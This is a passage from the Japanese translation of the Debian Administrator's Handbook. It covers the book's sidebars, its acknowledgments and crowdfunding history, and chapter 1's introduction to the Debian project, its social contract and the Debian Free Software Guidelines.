これ以降の章では Debian のシステムをより詳細に案内しています、基礎的な構造とサービスに始まり (**第 8 章から第 10 章**)、**第 13 章**ではユーザアプリケーションまで進みます。**第 12 章**ではより高度なテーマ、(サーバを含む) 巨大なコンピュータ群の管理者がより強い関心を寄せるテーマ、を取り上げています。一方で**第 14 章**ではコンピュータセキュリティに関する広範な問題について簡単に紹介し、多くの問題を避けるためのコツを挙げています。

第 15 章はさらに踏み込んで自分で Debian パッケージを作りたいと考えている管理者のための章です。

VOCABULARY

Debian パッケージ

Debian パッケージとは、一纏まりのソフトウェアをインストールするために必要なすべてのファイルを含むアーカイブです。通常、このファイルは `.deb` という拡張子を付けられており、`dpkg` コマンドで処理されます。Debian パッケージは**バイナリパッケージ**とも呼ばれ、直接使用される (プログラムや文書などの) ファイルを含んでいます。これに対して、**ソースパッケージ**はソフトウェアのソースコードとバイナリパッケージをビルドする際に必要な手順書を含んでいます。

現行版は既に本書の第 8 版です (この中にはフランス語版しか出版されていなかった初期の 4 つの版も含まれています)。現行版は Debian バージョン 9、コードネーム **Stretch**、を対象に書かれています。**Stretch** で行われた数ある変更の中でも特に注目すべきは、Debian が今やリトルエンディアン 64 ビット MIPS プロセ

ッサ向けの **mips64el** アーキテクチャをサポートするようになったという点です。逆に、**powerpc** アーキテクチャは開発を続けていくだけのボランティアの数が不足したためにサポートから外れました (これはつまり、関連するハードウェアが古くなり開発作業に取り組むだけの魅力がなくなったという事実を反映しています)。**Stretch** で提供されるすべてのパッケージはもちろん最新の状態にあり、GNOME デスクトップのパッケージはバージョン 3.22 が提供されます。ほとんどの実行ファイルが PIE ビルドフラグを立てて再ビルドされたことで、補足的なセキュリティ対策 (アドレス空間配置のランダム化、ASLR) が取られています。

補注には注意とコメントが付記されています。補注にはさまざまな役割があります。具体的には、扱いにくい点に対する注意、ケーススタディに対する考え方の補足、専門用語の定義、リマインダの提供などの役割を果たしています。以下に補注で最もよく使われている見出しのリストを示します。

- BACK TO BASICS。ここでは知っておくべき情報への手掛かりを説明しています。
- VOCABULARY。ここでは専門用語の定義 (時々 Debian 固有の専門用語の定義) を説明しています。
- COMMUNITY。ここでは Debian プロジェクトにおける重要な人物および役割に注目しています。
- POLICY。ここでは Debian ポリシーに基づく規則および勧告を説明しています。Debian ポリシーは Debian プロジェクトにおいて不可欠なものであり、ソフトウェアをパッケージングする方法を説明しています。本書で取り上げられているポリシー内の項目はユーザにとって直接の利益となるものです (たとえば、ポリシーでは文書や例の保存場所を統一化しています。これを知れば、たとえ初見のパッケージであったとしても簡単に文書や例を探すことが可能です)。
- TOOL。ここでは関連するツールやサービスを紹介しています。
- IN PRACTICE。ここでは理論と実際が常に適合しない状況について説明しています。そのため、これらの補注にはわれわれ著者が経験から導き出した助言が載せられています。さらに、これらの補注には詳細で具体的な例も載せられています。
- 補注で頻繁に使われているその他の見出しに説明の必要はないでしょう。具体的には、CULTURE (文化)、TIP (ヒント)、CAUTION (注意)、GOING FURTHER (より詳細な説明)、SECURITY (セキュリティ) などが頻繁に使われます。

謝辞

歴史小話

2003 年に Nat Makarévitch はフランスで一流の専門書出版社である Eyrolles で自分が運営している **Cahier de l'Admin** (Admin's Handbook) シリーズで Debian をテーマにした書籍を出版したかったので、Raphaël に連絡をとりました。Raphaël はすぐに本書の執筆を引き受けました。最初の版は 2004 年 10 月 14 日に出版され、大成功を収めました (約 4 カ月で売り切れました)。

それ以来われわれ著者は Debian がリリースされるたびに本書のフランス語版を出版し続け、これまでに 7 種類の版を出版しています。Roland は初め校正者として本書の出版に参加していましたが、徐々に共同執筆として参加するようになりました。

本書の成功に満足していた一方で、われわれ著者は常に Eyrolles に対して国際的な編集者が本書を英語に翻訳するよう説得してくれることを望んでいました。われわれ著者の元には Debian について学び始める際に本書がどのように役立ったかを書いたコメントが数多く届けられ続けており、同時にわれわれ著者は本書がさらに多くの人にとって有益なものになることを強く願っています。

悲しいことにわれわれ著者が連絡を取った英語圏の編集者には、本書を翻訳して出版するという危険を冒すことに前向きな人はいませんでした。この小さな逆風に意欲を削がれることなく、われわれ著者はフランスの出版社 Eyrolles と交渉し、本書を英語に翻訳して自分たちの手で出版する権利を取り戻しました。クラウドファンディングキャンペーン[1]が成功したおかげで、われわれ著者は 2011 年 12 月から 2012 年 5 月まで翻訳作業を行いました。そして「Debian 管理者ハンドブック」は生まれ、フリーソフトウェアライセンスの下で出版されたのです!

これは重要な節目の出来事でしたが、その一方でわれわれ著者は本書の英語版の公式翻訳としてフランス語版が提供されるまでこの話が終わらない点も理解していました。当時フランス語版は Eyrolles から自由ではないライセンスで市販されていたため、自由な英語版をフランス語に翻訳して提供することは不可能でした。

2013 年、Debian 7 がリリースされたことで、われわれ著者は Eyrolles と新しい契約について話し合う良い機会を得ました。われわれ著者は Debian の価値に適するライセンスが本書の成功に貢献するということを Eyrolles に納得させました。これは簡単にまとまる取引ではありませんでしたが、われわれ著者は費用の一部を負担して関連するリスクを減らすために別のクラウドファンディングキャンペーン[2]を行うことに同意を取り付けました。これもまた大きな成功を収め、2013 年 7 月、われわれ著者は Debian 管理者ハンドブックのフランス語の翻訳を公開しました。

われわれ著者は、金銭的な支援を約束したり資金調達キャンペーンを周りに宣伝することで、キャンペーンにご協力くださったすべての人に感謝しています。皆様方の協力がなければこのキャンペーンを成功させることはできなかったでしょう。

クラウドファンディングキャンペーンから 5 年が経過し、キャンペーン以降に新しい版が 2 回出版されました。紙を節約する目的で、われわれ著者は本書で自分の名前を載せることでキャンペーンへの謝礼を受けることを選んだ人のリストの掲載をやめました。しかしながら、キャンペーン賛同者の皆様の名前は本書の Wheezy 版の謝辞の章に刻まれています:

➡ `https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html`

貢献者の方々に対する深い感謝

翻訳作業期間とその先で重要な役割を果たした一部の貢献者の方々がいなければ、本書をこのような形に完成させることができなかったでしょう。サンプル章を翻訳しわれわれ著者と協力していくつかの一般的な翻訳規則を定義した Marilyne Brun に感謝しています。さらに彼女は大きな補足が必要な一部の章を改訂しました。また、いくつかの章を翻訳した Baldwin Linguas の Anthony Baldwin にも感謝しています。

校正者の皆様からは惜しみない手助けを受けました。具体的には、Daniel Phillips、Gerold Rupprecht、Gordon Dey、Jacob Owens、Tom Syroid です。彼らは多くの章をレビューしてくださいました。本当にありがとうございます!

そして英語版が自由なライセンスにされたことで、当然ながら読者だけでなく本書を他の言語に翻訳すると約束した多くのチームからもたくさんのフィードバック、提案と修正をいただきました。ありがとうございます!

本書が本当に翻訳されるだけの価値があるということを確認できる良いコメントをわれわれ著者に知らせてくださったフランス語版の読者に感謝します。具体的には、Christian Perrier、David Bercot、Étienne

[1] `http://www.ulule.com/debian-handbook/`

[2] `http://www.ulule.com/liberation-cahier-admin-debian/`

Liétart、Gilles Roussi、以上の皆様に感謝します。Stefano Zacchiroli (クラウドファンディングキャンペーン中の Debian プロジェクトリーダー) には深く感謝しています。彼はわれわれ著者のプロジェクトを、自由な書籍が必要とされているというコメントを発表することで、快く推薦してくださいました。

もし皆様が本書のペーパーバック版を読んでいるのなら、われわれ著者と一緒に本書の内部デザインを担当した Benoît Guillon、Jean-Côme Charpentier、Sébastien Mengin に感謝しましょう。Benoît は dblatex[3] (DocBook を LaTeX にそしてさらに PDF に変換するツール) の上流開発者です。Sébastien は素晴らしいレイアウトを制作したデザイナーで、Jean-Côme はレイアウトを dblatex で利用できるスタイルシートに実装した LaTeX の専門家です。皆さんの大変な努力に感謝しています!

最後に、各章に挿入されている素晴らしい挿絵を担当した Thierry Stempfel、本書の美しい表紙を担当した Doru Patrascu に感謝します。

翻訳者へのお礼

本書のライセンスが自由なものになってからというもの、多くのボランティアが本書を活発に翻訳し続けており、本書はアラビア語、ブラジルポルトガル語、ドイツ語、イタリア語、スペイン語、日本語、ノルウェー語 (ブークモール) などに翻訳されています。本書のウェブサイト上には翻訳言語の完全なリストが載せられています。`http://debian-handbook.info/get/#other`

われわれ著者は翻訳者および翻訳査読者の全員に感謝しています。翻訳版を作成する取り組みは大変ありがたいものです。なぜなら、翻訳版を作成することで英語を読めない何百万もの人々に Debian と出会う機会を提供することになるからです。

Raphaël からの個人的なお礼

まず初めに、私は本書を執筆する機会と執筆作業を完遂するまでの間に重要な助言を与えてくださった Nat Makarévitch に感謝します。さらに Eyrolles の素晴らしいチーム、特に Muriel Shan Sei Fan に感謝します。彼女は辛抱強く、私は彼女から多くのことを学びました。

Ulule でのキャンペーン期間は私にとって大変忙しい期間でしたが、キャンペーン成功の手助けをしてくれたすべての方々、特に数多くの要求に応えてくれた Ulule チームに感謝しています。さらにキャンペーンを宣伝してくれたすべての人に感謝しています。完全なリストはないのですが (完全なリストがあればおそらくそれは長すぎるものになるでしょう)、私に連絡をくれた幾人かの人に感謝します。OMG! Ubuntu の Joey-Elijah Sneddon と Benjamin Humphrey、LinuxFr.org の Florent Zara、Korben.info の Manu、April.org の Frédéric Couchet、Linux Weekly News の Jake Edge、Linux Mint の Clement Lefebvre、Distrowatch の Ladislav Bodnar、Debian-Administration.org の Steve Kemp、Debian-News.net の Christian Pfeiffer Jensen、LinuxScrew.com の Artem Nosulchik、Gandi.net の Stephan Ramoin、Bytemark.co.uk の Matthew Bloch、Divergence FM のチーム、Linux New Media の Rikki Kite、Jono Bacon、Eyrolles のマーケティングチーム、そして忘れてしまった非常に多くの人々 (ごめんなさい) に感謝します。

特に共著者である Roland Mas に感謝します。われわれ著者は初めからずっと本書を共同で作成し続けており、彼は常に挑戦的な課題に対して意欲的でした。Debian 管理者ハンドブックを完成させることは大変な作業でしたと言っておかなければいけません…。

[3] `http://dblatex.sourceforge.net`

最後に大切なことを言いますが、私の妻 Sophie にも感謝しています。彼女は私が本書および一般的な Debian の作業を行うことに対してとても協力的でした。私は幾日 (幾夜) も本書の作業のために 2 人の息子と一緒に彼女を放っておくことがありました。私は彼女の支援にとても感謝しており、そして彼女に巡り合えたことが非常に幸運なことだと思っています。

Roland からの個人的なお礼

さて、Raphaël が先にほとんどの「外部向けの」感謝の言葉を述べてくれました。さらに私は協力体制が常に心地よく順調だった Eyrolles のよい仲間たちに対して、私の個人的な感謝の気持ちを強調したいと思います。そして彼らの優れた助言が翻訳作業においても続くことを願っています。

私は英語版の出版に関連する事務的な部分を引き受けてくれたことを Raphaël に非常に感謝しています。ファンディングキャンペーンの企画から、本書のレイアウトの細部にいたるまで、翻訳版の作成は翻訳と校正だけでなくはるかにたくさんの作業が必要です。Raphaël はそのすべてを行い (代表および指揮し) ました。本当に感謝しています。

明確化や説明、翻訳のアドバイスを提供することで程度の差はあるにせよ本書に直接的な貢献をしてくださったすべての人に感謝しています。名前を挙げるには多すぎるほどの人が貢献してくださいました。貢献者のほとんどは #debian-* IRC チャンネルの参加者です。

もちろん先に挙げた人と重なる部分もありますが、実際に Debian を開発している人に特に感謝します。彼らがいなければ多くの書籍は存在しなかったでしょうし、私は今もなお、Debian プロジェクト全体が生み出したものと、Debian プロジェクト全体がそれを誰でも利用できるような状態にしていることに、驚かされています。

私は個人的に私の友人と依頼人が、本書に関する作業中に私の反応が遅かったことに理解を示してくれたこと、継続的に支援や激励や動機づけをしてくれたこと、に感謝しています。本人はそれが自分であることがわかるはずです。ありがとうございます。

最後になりましたが、Terry Pratchett、Jasper Fforde、Tom Holt、William Gibson、Neal Stephenson、そして故人である Douglas Adams に感謝します。彼らは間違いなくここで言及されたことに驚くと思いますが、私はここで感謝の意を表したいと思います。彼らの著書を楽しんだ無限の時間のおかげで、私はまず本書の翻訳に、後に新しいパートの執筆に直接的に参加できるようになりました。

キーワード

目的
方針
運営
ボランティア

章

Debian プロジェクト

1

目次

Debian とは? 2　基本文書 5　Debian プロジェクトの内部の仕組み 9　Debian ニュースを追いかける 20
ディストリビューションの役割 22　リリースライフサイクル 23

Debian の技術について深く掘り下げる前に、Debian プロジェクトの本質、目的、方針、運営の仕方について少し見てみましょう。

1.1. Debian とは?

CULTURE

Debian という名前の由来

これを説明するにはこの補注だけで十分です。すなわち、Debian は何かの頭文字を並べたものではありません。Debian という名前は、実際には 2 人のファーストネームを短縮したものです。具体的には Ian Murdock と、当時彼のガールフレンドだった Debra のファーストネームを短縮したものです。Debra と Ian で Debian というわけです。

Debian は GNU/Linux ディストリビューションです。ディストリビューションとは何かについては第 1.5 節「ディストリビューションの役割」22 ページで詳しく議論していますが、ここでは以下の通り述べるだけに留めます。GNU/Linux ディストリビューションとは完全なオペレーティングシステムで、インストールと管理に必要なソフトウェアとシステムを備えており、Linux カーネルと (特に GNU プロジェクトからの) フリーソフトウェアを基盤にしています。

Ian Murdock が FSF の指導の下で Debian を作った 1993 年、彼は **Debian マニフェスト**の中で、彼の求める自由なオペレーティングシステムは 2 つの重要な要件を満たさなければならない、という明確な目標を設定しました。1 つ目は品質です。Debian は Linux カーネルからの信頼に値するべく、非常に注意深く開発されるでしょう。2 つ目は非商用ディストリビューションであるということです。Debian は主要な商用ディストリビューションと比較しても、十分に信頼できるものになるでしょう。彼の考えによれば、この 2 つの野望は Linux や GNU プロジェクトとよく似た Debian 開発工程に従うことでのみ達成されます。つまり、ピアレビューにより Debian プロジェクトは継続して改善され続けるでしょう。

CULTURE

GNU という FSF のプロジェクト

GNU プロジェクトとは、偶像化されているリーダー Dr. Richard M. Stallman が創設したフリーソフトウェア財団 (FSF) が開発あるいは支援するさまざまなフリーソフトウェアを指します。GNU は「GNU is Not Unix」を意味する再帰的頭字語です。

CULTURE

Richard Stallman

FSF の創設者であり GPL ライセンスの著者でもある Richard M. Stallman (イニシャルで RMS と呼ばれることが多い) は、フリーソフトウェア運動のカリスマ的なリーダーです。彼自身は強硬的な姿勢のおかげで全員から高い評価を得ているわけではありませんが、彼が行ったフリーソフトウェアに対する技術的でない貢献 (特に法律的、哲学的な水準において) は全員から尊敬を集めています。

1.1.1. マルチプラットフォームオペレーティングシステム

COMMUNITY

Ian Murdock の旅

Debian プロジェクトの創設者である Ian Murdock は 1993 年から 1996 年までの間、最初の Debian プロジェクトリーダーを務めました。Ian は Debian プロジェクトリーダーの職を Bruce Perens に譲った後、公人としての役割を減らし、フリーソフトウェアコミュニティの裏方の仕事に戻り、Debian の派生ディストリビューションをマーケティングする目的で Progeny を作りました。残念なことにこのベンチャー事業は商業的に失敗し、事業の展開は頓挫しました。Progeny は単なるサービスプロバイダとして辛うじて数年間運営されましたが、最終的に 2007 年 4 月に破産しました。Progeny が始めたプロジェクトのうち、まだ残っているものは、自動的にハードウェアを検出するツールである **discover** だけです。

Ian Murdock は 2015 年 12 月 28 日にサンフランシスコで亡くなりました。Ian は死の直前に気がかりなツイートを連続投稿しており、その中で警察から暴行を受けたとしていました。そして 2016 年 1 月には彼の死因が自殺と判定されたことが発表されました。

草創期の理念に忠実であり続けている Debian は大きな成功を収め、今日では驚異的な規模に達しています。提供されている 12 種類のアーキテクチャは、10 種類のハードウェアアーキテクチャと 2 種類のカーネルにおよびます (カーネルについては Linux と FreeBSD ですが、FreeBSD ベースの移植版は公式サポートアーキテクチャではありません)。さらに、Debian には 25,000 種類を超えるソースパッケージがあるため、Debian ですぐに利用できるソフトウェアは、家庭であれ企業であれ、どのような要求でもほぼ満たすことができます。

ディストリビューション全体の規模が大きいのが不便なこともあります: 標準的な PC 向けの完全版をインストールするために、14 枚もの DVD-ROM を配布するのは本当に無意味なことです…。このため、Debian は次第に「メタディストリビューション」として捉えられるようになってきています。メタディストリビューションとは、特定の利用者向けにさらに限定的な用途に適したディストリビューション (たとえば、従来のデスクトップ用途向けの Debian-Desktop、学術環境で利用される教育および教育学的利用向けの Debian-Edu、医学的応用向けの Debian-Med、幼児向けの Debian-Junior など) を作るための基盤になるディストリビューションを意味しています。サブプロジェクトについての節により完全なリストが載っていますので、第 1.3.3.1 節「現存する Debian サブプロジェクト」16 ページを参照してください。

Debian を構成する要素は明確に定義された枠組みに従って整理されているため、さまざまな「サブディストリビューション」間で問題なく互換性が保証されています。サブディストリビューションは、Debian での新バージョンのリリース要綱に従います。サブディストリビューションは Debian と同じ基盤の上に成り立っているため、Debian リポジトリから入手できるアプリケーションを使って簡単に拡張し、洗練し、特徴を出すことが可能です。

特定の Debian ツール、これらすべてのおかげで、サブディストリビューションは Debian から供される基盤を利用できます: `debian-cd` は、事前に選択したパッケージだけを含む CD-ROM 群を作成するためにずっと使われているツールです。`debian-installer` は、モジュール式のインストーラーであり、特別な用途向けに簡単に適応させることができます。`APT` は、さまざまな場所からパッケージをインストールしてもシステム全体の整合性を保証してくれるツールです。

TOOL

Debian CD-ROM の作成

`debian-cd` は、すぐに使えるインストールメディア (CD、DVD、Blu-Ray など) の ISO イメージを作成します。このソフトウェアに関するあらゆる問題は、debian-cd@lists.debian.org メーリングリストで (英語で) 話し合われています。公式の Debian ISO ビルドを管理している Steve McIntyre がこのチームを率いています。

BACK TO BASICS

各コンピュータに対するアーキテクチャ

「アーキテクチャ」という用語は、コンピュータの種類 (最もよく知られているのは Mac や PC) を表しています。それぞれのアーキテクチャは主にプロセッサによって区別され、通常異なるプロセッサ間には互換性がありません。これらのハードウェアの違いは動作の違いを意味しており、すなわち個々のアーキテクチャに対して別々にソフトウェアをコンパイルする必要があるということです。

Debian で利用できる多くのソフトウェアは、移植可能なプログラミング言語で書かれています: つまり、同じソースコードをさまざまなアーキテクチャに対してコンパイルできます。実際において、一般に特定のアーキテクチャに対してコンパイルされた実行バイナリは、他のアーキテクチャ上では動作しません。

個々のプログラムは、ソースコードを書くことで作成されているのを思い出してください。このソースコードはテキストファイルであり、特定のプログラミング言語の規則に従って書かれています。ソフトウェアを使えるようになる前に、ソースコードをコンパイルする必要があります。これはコードをバイナリ (プロセッサが実行できる機械語命令) に変換するのを意味します。それぞれのプログラミング言語には、コンパイルを実行するために個別のコンパイラがあります (たとえば C 言語には `gcc` があります)。

TOOL

インストーラ

debian-installer は、Debian をインストールするためのプログラムの名前です。debian-installer はモジュール式に設計されているため、多様なインストール状況を広くサポートすることが可能です。debian-installer の開発は Cyril Brulebois の指揮の下に debian-boot@lists.debian.org メーリングリストで調整されています。

1.1.2. フリーソフトウェアの品質

Debian はフリーソフトウェアのすべての原則に従い、準備が整うまで新バージョンをリリースしません。開発者は、締め切りに間に合わせる目的で決められたスケジュールに従うことを強制されません。Debian が安定版のリリースに長い時間をかけている点はたびたび苦情の対象になってきましたが、Debian の伝説的な信頼性はフリーソフトウェアの原則を守ることで確保されてきました。すなわち「安定版」を冠する完全なディストリビューションにとっては、テストに長い時間をかけることが必須なのです。

Debian は品質に関して妥協しません: すべての既知のクリティカルバグは新しいバージョンで修正されます。たとえバグ修正が当初計画されていたリリース日を遅らせることになったとしても、です。

1.1.3. 法律的枠組み: 非営利組織

法律的に言えば Debian は米国の非営利なボランティア組織が管理するプロジェクトです。Debian プロジェクトにはおよそ千人の **Debian 開発者**がいますが、はるかに多くの貢献者 (翻訳者、バグ報告者、アーティスト、一時的な開発者など) が集まっています。

Debian は自身の使命を実現させるために、多くのスポンサーが提供するインターネットに接続された多数のサーバを含む巨大なインフラを持っています。

COMMUNITY

Debian の裏方 (SPI) と現地支部

Debian は自分名義のサーバを所有していません。なぜなら Debian は **Software in the Public Interest** 内の 1 プロジェクトに過ぎず、SPI がハードウェアと財務的な側面 (寄付、ハードウェアの購入など) を管理しているからです。SPI は当初 Debian プロジェクト専用として設立されましたが、今では他のフリーソフトウェアプロジェクトも SPI と提携しています。そのようなプロジェクトにはとりわけ、PostgreSQL データベース、Freedesktop.org (GNOME や KDE のような現代的なグラフィカルデスクトップ環境でのさまざまな要素を標準化するプロジェクト)、Libre Office オフィススイートなどが挙げられます。

➨ http://www.spi-inc.org/

SPI に加えて、アメリカ合衆国に中央集権化することなく Debian 用の資金を提供する目的で、さまざまな現地組織が Debian と緊密に連携しています。具体的には、そのような組織は Debian 用語で言うところの「Trusted Organizations」としても知られています。この構造を取ることで法外な国際送金コストを避け、一極集中を避けるという Debian プロジェクトの性質を満足させることが可能になっています。

「Trusted Organizations」の数はかなり少ないですが、Debian の普及を目標に掲げる Debian 関連組織は数多く存在します。たとえば **Debian France**、**Debian-ES**、**debian.ch** ですが、その他にも世界中に存在します。どうかご遠慮なく現地組織に参加し Debian プロジェクトを支援してください!

➨ https://wiki.debian.org/Teams/Auditor/Organizations

➨ https://france.debian.net/

➨ http://www.debian-es.org/

➨ https://debian.ch/

1.2. 基本文書

最初のリリースから数年後、Debian はフリーソフトウェアプロジェクトが従うべき指針を定めました。この指針を細心の注意を払って決定したことで、すべてのメンバーが同じ目標に進むようになり、秩序的かつ平和的に成長するようになりました。Debian 開発者になるためには、どんな候補者もプロジェクトの基本文書に確立されている指針を支持し遵守することを認めて、それを証明しなければいけません。

Debian の開発工程は定期的に議論されていますが、これらの基本文書は広く合意が得られているため、めったに変わりません。Debian 憲章は基本文書の安定度に関するまた別の点を保障しています。つまり、いかなる修正案であっても承認には 4 分の 3 の特定多数票が必要であるということを保障しています。

1.2.1. ユーザに向けた約束

Debian プロジェクトには「社会契約」もあります。Debian 社会契約はオペレーティングシステムの開発のみを対象にしている Debian プロジェクトの中でどのように位置づけられているのでしょうか? これは非常に単純です。すなわち Debian はユーザに役立ち、この考えをさらに進めて、社会に役立つように活動します。Debian 社会契約は Debian プロジェクトが負う責任を要約しています。それでは Debian 社会契約の内容をより詳しく見ていきましょう。

1. Debian は 100% 自由なものであり続けます。

   これが第一のルールです。Debian は今もこれからも完全にフリーソフトウェアだけを使います。その上、Debian プロジェクト内のすべてのソフトウェア開発は他人からの束縛を受けません。

   PERSPECTIVE

   ソフトウェア以外の要素に対するルール

   Debian 社会契約の最初のバージョンには「Debian は 100% フリー**ソフトウェア**であり続けます」とありました。2004 年 4 月にバージョン 1.1 を批准したことに伴い、**ソフトウェア**という単語は条文から削除されました。この行為はソフトウェアのみならず、Debian がオペレーティングシステムの一部として提供したいと望んでいる、文書やその他の要素に対する自由を達成するための意思を表しています。

   この変更は単なる編集だったのですが、実際のところは、一部の問題がある文書が削除されるなど、多くの影響をおよぼしました。さらに、ドライバが内部で数多くのファームウェアを使うようになったことにより問題が引き起こされました。なぜなら、多くのファームウェアは自由なものではありませんが対応するハードウェアを適切に操作するためには不可欠なものだからです。

2. Debian プロジェクトはフリーソフトウェアコミュニティに成果を還元します。

   Debian プロジェクトが寄与して Debian ディストリビューションに組み込まれた成果はどんなことでも、元の作者 (「上流」と呼ばれる) に還元されます。一般に Debian は独立して作業をするのではなく、コミュニティと協力するのです。

   COMMUNITY

   上流開発者とは Debian 開発者のこと?

   「上流開発者」という用語はある著作物の作者/開発者を意味しており、彼らが著作物を制作し開発しています。一方で、「Debian 開発者」は存在する著作物を使い、その著作物を Debian パッケージにします (「Debian メンテナ」という用語がより適しています)。

   実際のところ、上流開発者と Debian メンテナの違いは明確でないことが多いです。Debian メンテナはパッチを書くこともあり、その著作物のすべてのユーザは Debian メンテナの書いたパッチによる恩恵を受けます。一般に、Debian は Debian におけるそのパッケージの責任者が「上流」開発にも参加することを推奨しています (パッケージ責任者は、あるプログラムの単なるユーザではなく、貢献者になるのです)。

3. Debian プロジェクトは問題を隠しません。

   Debian は完全なものではありません、修正するべき新しい問題が毎日見つかっています。Debian プロジェクトはバグ報告データベースのすべてを常時公開しており、誰でもこれを見ることができます。オンラインに提出されたバグ報告はすぐさま他の人にも読めるようになります。

4. Debian プロジェクトはユーザとフリーソフトウェアを最優先に考えます。

   これは最も定義が難しい条項です。Debian はこの条文に従って、偏った考え方の下に決断を下します。すなわち Debian はたとえ開発者から見れば簡単な解決策であったとしてもユーザが使いにくくなるような解決策ならばそれを採用せず、たとえ実装が困難であったとしてもユーザが簡潔と感じるような解決策を採用します。これはユーザとフリーソフトウェアの利益を最優先事項と考えていることを意味しています。

5. Debian プロジェクトのフリーソフトウェア基準に合致しない著作物。

   Debian はユーザから一部の自由ではないプログラムを使いたいとの要求を受け入れ、ユーザがこう考えることに理解を示しています。そのため、Debian プロジェクトは、再配布することには支障がないものの自由ではないソフトウェアの Debian パッケージを配布するために、自分たちのインフラの一部を使うことを認めています。

COMMUNITY

non-free セクションに賛成か反対か?

自由ではないソフトウェア (すなわち「non-free」セクション、補注「`main`、`contrib`、`non-free` アーカイブ」103 ページをご覧ください) を受け入れる枠組みを維持するという約束は Debian コミュニティの中でしばしば議論の対象になります。

枠組みの維持に反対する人は、こうすることでフリーソフトウェアに対する公平性が軽視されるようになり、フリーソフトウェアだけを提供するという原則にも違反している、と異論を唱えます。賛成する人は、ほとんどの non-free パッケージは「ほぼ自由なもの」であり、高々 1 つか 2 つの厄介な例外 (最もよくある例外はソフトウェアの商用利用の禁止) があるために自由ではないものにされていると、明言しています。このような著作物を non-free ブランチで配布することは、作者に対する間接的な説明 (main セクションに彼らの著作物を含めることができれば、著作物はより広く知られて使われるようになる) の役割を果たしています。このようにして Debian プロジェクトは、著作物をより広く使われるようにするためには著作物のライセンスを変更することが必要であると、作者に対して丁寧に依頼しているのです。

2004 年に non-free セクションは初めて完全に削除されました。これは実りのない試みで、もう一度議題に挙がることはないでしょう。なぜなら non-free セクションには、単純に main セクションに含めるパッケージに新たに要求された条件を満たしていなかったために移動されていた数多くの有益な文書が含まれていたからです。特に GNU プロジェクトが作成した特定のソフトウェア (特に、Emacs と Make) に関する文書ファイルはこれに該当していました。

non-free セクションを存続していることが原因で、Debian とフリーソフトウェア財団との間には時折摩擦が生まれます。フリーソフトウェア財団が Debian をオペレーティングシステムとして公的に推奨しないのはこれが主な理由です。

1.2.2. Debian フリーソフトウェアガイドライン

Debian フリーソフトウェアガイドラインは、あるソフトウェアが Debian に含めることができるほど「十分に自由なもの」であると認めるか否かの基準を定義しています。もしあるプログラムのライセンスがこの基準に合致するならば、main セクションに含めることが可能です。これに対して、合致しないものの自由な配布が認められているならば、non-free セクションに含めることが可能です。non-free セクションは公式には Debian の一部ではなく、ユーザ向けに提供されている付加サービスです。

Debian フリーソフトウェアガイドラインは Debian におけるセクションの選択基準だけにとどまらず、フリーソフトウェアの屋台骨になり、「Open Source Definition」の基礎を担う役割を果たし続けています。歴史的なことを言えば、Debian フリーソフトウェアガイドラインは「フリーソフトウェア」の概念を定義した最初の正式なものの 1 つと言えます。

GNU 一般公衆利用許諾書、BSD ライセンス、Artistic ライセンスは伝統的で自由なライセンスの例であり、以下のテキストで言及する 9 個の事項に従います。以下に Debian ウェブサイトで公開されているものをそのまま引用します。

➡ `http://www.debian.org/social_contract#guidelines`

1. **自由な再配布。** Debian を構成する要素が従うライセンスは対象のソフトウェアを複数の異なる提供元からのプログラムを含むソフトウェア集約的ディストリビューションの構成要素として自由に販売または配布することを制限してはいけません。さらにこのライセンスは販売の際に使用料およびその他の料金を要求してはいけません。

BACK TO BASICS

自由なライセンス

GNU GPL、BSD ライセンス、Artistic ライセンスは各々が全く別物であるにも関わらず Debian フリーソフトウェアガイドラインに適合します。

FSF (フリーソフトウェア財団) が利用し推進する GNU GPL は最も一般的なライセンスです。GPL の主な特徴は、再配布される派生物にも GPL が適用されるということです。つまり、GPL コードを組み込んでいたり利用しているプログラムは GPL の定める条件に従って配布されなければいけないのです。それゆえ GPL ではプロプライエタリなアプリケーションで GPL コードを再利用することを禁止しています。このことにより GPL ライセンスに適合しないフリーソフトウェアで GPL コードを再利用すると重大な問題になります。それゆえ GPL の下に配布されているライブラリと別のフリーソフトウェアライセンスの下に公開されているプログラムをリンクするのは不可能な場合があります。他方で、GPL は米国法の下でとても強い力を発揮します。FSF の弁護士は GPL の起草からずっと参加し続け、通常は違反者に対して法廷で争わずに FSF と友好的な合意に到達するよう強いることを続けています。

➡ `http://www.gnu.org/copyleft/gpl.html`

BSD ライセンスは最も制限が緩いライセンスです。つまり、プロプライエタリアプリケーションで修正 BSD コードを利用することなど、どんなことでも許されています。

➡ `http://www.opensource.org/licenses/bsd-license.php`

最後に、Artistic ライセンスは GNU GPL と BSD ライセンスの妥協案です。つまり、プロプライエタリアプリケーションにコードを統合することは許可されていますが、いかなる変更も公開しなければいけません。

➡ `http://www.opensource.org/licenses/artistic-license-2.0.php`

GNU GPL、BSD ライセンス、Artistic ライセンスの完全な原文は Debian システムの `/usr/share/common-licenses/` に置かれています。

2. **ソースコード。** プログラムは自身のソースコードを含まなければならず、さらにコンパイルされた形だけでなくソースコードを配布することも許可しなければいけません。

3. **二次著作物。** ライセンスは修正物および派生物を作成することを許可しなければいけませんし、修正物および派生物のライセンスは元になったソフトウェアのライセンスと同じ条件の下に再配布することも許可しなければいけません。

4. **作者のソースコードの整合性保証。** ライセンスにおいて修正した形でソースコードを再配布することを制限するには、ライセンスはビルド時にプログラムを修正する目的でソースコードと一緒に「パッチファイル」を配布することを**必ず**許可しなければいけません。ライセンスは修正されたソースコードからビルドしたソフトウェアの配布を明確に許可していなければいけません。ライセンスは二次著

作物が元のソフトウェアと異なる名前もしくはバージョン番号を使うことを要求できます (**これは妥協案です。Debian グループはすべての著者に対して、ソースやバイナリに限らずいかなるファイルに対する変更も制限しないように勧めています**)。

5. **個人や団体に対する平等性。** ライセンスはいかなる個人および団体も差別してはいけません。
6. **活動分野に対する平等性。** ライセンスは特定の活動分野でプログラムを利用することについて制限を加えてはいけません。たとえば、プログラムが商用や遺伝子研究で利用されることを制限してはいけません。
7. **ライセンスの配布。** プログラムに付随する権利は、そのプログラムを受け取ったすべての人に対しても追加のライセンスを要求することなく適用されなければいけません。
8. **ライセンスは Debian にだけ当てはまるものであってはいけません。** プログラムに付随する権利は、そのプログラムが Debian システムの一部であるかどうかに依存してはいけません。プログラムが Debian から分離され、Debian に依存することなくプログラムのライセンスの定める条件に従って利用および配布される場合であっても、プログラムの再配布に関わるすべての関係者はそのプログラムが Debian システムで使われる場合に許されるのと同一の権利を持つべきです。
